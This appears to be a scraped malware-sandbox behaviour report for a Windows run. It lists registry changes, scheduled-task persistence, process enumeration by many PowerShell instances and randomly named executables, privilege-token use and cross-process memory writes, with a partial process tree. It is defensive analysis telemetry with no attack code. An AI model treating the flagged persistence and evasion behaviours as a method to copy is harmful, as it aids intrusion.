Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2d	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2e	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2B	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2F	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2b	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2c	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133637890235867310"	chrome.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a	msiexec.exe

Modifies registry class 64 IoCs

Processes:

msiexec.exe7z2407-x64.exeOpenWith.exeRuntimeBroker.exeExplorer.EXEsihost.exeOpenWith.exechrome.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\DocumentationShortcuts	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPath	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\PackageName = "nodejs-installer.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment"	7z2407-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip	7z2407-x64.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings	OpenWith.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Version = "336330754"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\DeploymentFlags = "3"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	RuntimeBroker.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2407-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip	7z2407-x64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net\3 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\42F1.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\LastUsedSource = "n;4;C:\\Users\\Admin\\AppData\\Local\\Temp\\58BB.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net\4 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\58BB.tmp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}	7z2407-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2407-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\ProductIcon = "C:\\Windows\\Installer\\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\\NodeIcon"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net\5 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\68A9.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2407-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\NodeRuntime	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2A29.tmp\\"	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip	7z2407-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\LastUsedSource = "n;7;C:\\Users\\Admin\\AppData\\Local\\Temp\\8B45.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\corepack	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPathNpmModules = "EnvironmentPath"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net\6 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7EE1.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment"	7z2407-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\LastUsedSource = "n;3;C:\\Users\\Admin\\AppData\\Local\\Temp\\42F1.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\npm	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A3A70C74FE2431248AD5F8A59570C782	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2407-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip	7z2407-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\ProductName = "Node.js"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\ = "7-Zip Shell Extension"	7z2407-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}	7z2407-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\PackageCode = "AC6AA920FB9737143A7998E5BED98A71"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\LastUsedSource = "n;2;C:\\Users\\Admin\\AppData\\Local\\Temp\\2353.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2407-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32	7z2407-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\2A29.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\LastUsedSource = "n;5;C:\\Users\\Admin\\AppData\\Local\\Temp\\68A9.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files\\7-Zip\\7-zip32.dll"	7z2407-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\ = "7-Zip Shell Extension"	7z2407-x64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net\2 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2353.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\LastUsedSource = "n;6;C:\\Users\\Admin\\AppData\\Local\\Temp\\7EE1.tmp\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings	chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPathNode = "EnvironmentPath"	msiexec.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

5736 schtasks.exe
540 schtasks.exe
3284 schtasks.exe
5636 schtasks.exe
1576 schtasks.exe
5220 schtasks.exe
5044 schtasks.exe

pid	process
5736	schtasks.exe
540	schtasks.exe
3284	schtasks.exe
5636	schtasks.exe
1576	schtasks.exe
5220	schtasks.exe
5044	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exechrome.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execuvhmzml.ugn0.exeljdnbvmc.shu0.exeopenwith.exepowershell.exepowershell.exepowershell.exepowershell.exemsiexec.exepowershell.exepowershell.execuvhmzml.ugn1.exepowershell.exe

pid	process
4528	chrome.exe
4528	chrome.exe
3344	chrome.exe
3344	chrome.exe
3948	powershell.exe
3948	powershell.exe
4184	powershell.exe
4184	powershell.exe
4184	powershell.exe
1592	powershell.exe
1592	powershell.exe
1592	powershell.exe
5044	powershell.exe
5044	powershell.exe
5044	powershell.exe
3692	powershell.exe
3692	powershell.exe
3692	powershell.exe
2832	powershell.exe
2832	powershell.exe
2832	powershell.exe
4116	powershell.exe
4116	powershell.exe
4116	powershell.exe
2424	powershell.exe
2424	powershell.exe
2424	powershell.exe
1584	cuvhmzml.ugn0.exe
1584	cuvhmzml.ugn0.exe
2548	ljdnbvmc.shu0.exe
2548	ljdnbvmc.shu0.exe
3132	openwith.exe
3132	openwith.exe
3132	openwith.exe
3132	openwith.exe
4284	powershell.exe
4284	powershell.exe
4284	powershell.exe
2060	powershell.exe
2060	powershell.exe
2060	powershell.exe
3980	powershell.exe
3980	powershell.exe
3980	powershell.exe
5468	powershell.exe
5468	powershell.exe
5468	powershell.exe
5660	msiexec.exe
5660	msiexec.exe
5140	powershell.exe
5140	powershell.exe
5140	powershell.exe
1356	powershell.exe
1356	powershell.exe
1356	powershell.exe
4728	cuvhmzml.ugn1.exe
5548	powershell.exe
5548	powershell.exe
5548	powershell.exe
4728	cuvhmzml.ugn1.exe
4728	cuvhmzml.ugn1.exe
4728	cuvhmzml.ugn1.exe
4728	cuvhmzml.ugn1.exe
4728	cuvhmzml.ugn1.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

OpenWith.exe7zFM.exe

pid process

1820 OpenWith.exe
4084 7zFM.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

Processes:

chrome.exe

pid process

4528 chrome.exe
4528 chrome.exe
4528 chrome.exe
4528 chrome.exe
4528 chrome.exe
4528 chrome.exe
4528 chrome.exe
4528 chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exe

description	pid	process
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe
Token: SeShutdownPrivilege	4528	chrome.exe
Token: SeCreatePagefilePrivilege	4528	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

chrome.exe7zG.exe7zFM.exeExplorer.EXE

pid	process
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
3428	7zG.exe
4084	7zFM.exe
4084	7zFM.exe
4084	7zFM.exe
3452	Explorer.EXE
3452	Explorer.EXE
3452	Explorer.EXE
3452	Explorer.EXE

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

chrome.exe

pid	process
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe
4528	chrome.exe

Suspicious use of SetWindowsHookEx 26 IoCs

Processes:

OpenWith.exeOpenWith.exe

pid	process
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
1820	OpenWith.exe
2548	OpenWith.exe

Suspicious use of UnmapMainImage 3 IoCs

Processes:

RuntimeBroker.exeRuntimeBroker.exe

pid process

3920 RuntimeBroker.exe
400 RuntimeBroker.exe
400 RuntimeBroker.exe

pid	process
3920	RuntimeBroker.exe
400	RuntimeBroker.exe
400	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 4528 wrote to memory of 3084	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3084	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 3840	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 4908	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 4908	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe
PID 4528 wrote to memory of 2496	4528	chrome.exe	chrome.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:596

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:60

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:844

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1112

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:3152

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1460

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1508

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
- Modifies registry class
PID:2248

